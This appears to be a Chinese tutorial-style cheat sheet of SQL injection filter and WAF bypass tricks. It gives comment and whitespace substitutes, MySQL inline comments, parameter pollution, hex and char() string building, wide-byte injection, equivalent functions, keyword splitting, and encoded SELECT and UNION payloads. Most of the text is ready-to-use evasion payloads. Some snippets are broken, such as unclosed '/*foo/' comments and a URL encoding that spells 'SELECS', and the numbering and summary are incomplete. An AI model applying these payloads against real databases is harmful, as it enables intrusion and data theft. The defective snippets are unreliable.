SQL注入(三)Bypass技巧

Bypass方式的汇总

一些数据库特性

注释
  • #

  • – -
  • –+
  • //
  • /**/
  • /*letmetest*/
  • ;%00
空格
  • MySQL中可以替代空格的字符:
    • /**/
    • ()
    • +
    • %20
    • %09
    • %0a
    • 0x0a
    • 0x0b
    • 0x0c
    • 0x0d
    • +
    • -
    • ~
    • .

MySQL特性

  • MySQL中=为等于,只有在update中是赋值

  • := //赋值

  • @ //加变量名可以直接调用

  • 内联注释: /*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行

Bypass

  • 参数污染绕过

    • id=33/id=-33 union select 1,2,3,4,xxxxxx from information_schema xxxx%23\/
  • 使用动态字符串拼接十六进制,可以避免使用单引号'

    • select ename,sal from emp where ename = ‘marcus’
      • Oracle: select ename,sal from emp where ename=chr(109)||chr(97)||chr(114)||chr(99)||chr(117)||chr(115)
      • MySQL: select ename,sal from emp where ename=char(109)||char(97)||char(114)||char(99)||char(117)||char(115)
    • select ename,sal from emp where ename=0x6d6172637573
  • 设计好注入的数据,可以避开使用注释号 --

    • ‘or 1=1–
      • ‘or ‘a’=’a
  • 通过注释绕开空格

    • select/*foo/username,password/*foo/from/*foo/users
    • MySQL中,注释可以插入到关键字中
      • sel/*foo/ect username,password fr/*foo/om users
    • 空格:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
  • 绕过等号

    • like和等号执行效果一致
    • 使用<>绕过
      • <>等价于!=,所以在<>前加个!就是等于,比如 where !(id<>2)
    • rlike
    • regexp
  • 宽字节注入绕过转义符

    • GBK和BIG5适用
    • %df’
  • 等价字符以及等价函数

    • and=&&
    • or=||
    • xor=^
    • not =!
    • hex()、bin()=ascii()
    • concat_ws=group_concat()
    • sleep()=benchmark()
    • mid()=、substr()=substring()
    • @@user=user()
    • @@datadir=datadir()
  • 关键字拆分

    • se’+’le’+’ct’
    • %S%E%L%E%C%T 1 //ASP环境
    • u/**/nio/**/n/**se/**/lect
  • mysql中不必要使用分号,只要语法正确,解释器就会正确执行

  • select

    • SeLeCt(大小写)
    • %00select(增加空字节)
    • selsecectect(双写)
    • %53%45%4c%45%43%53(url编码)
    • %2553%2545%254c%2545%2543%2553(多次url编码)
  • Hex编码、URL编码、宽字节、Unicode编码(IIS)支持

    • union
      • un%u0069on

三、利用过滤逻辑缺陷

  • 白盒审计

总结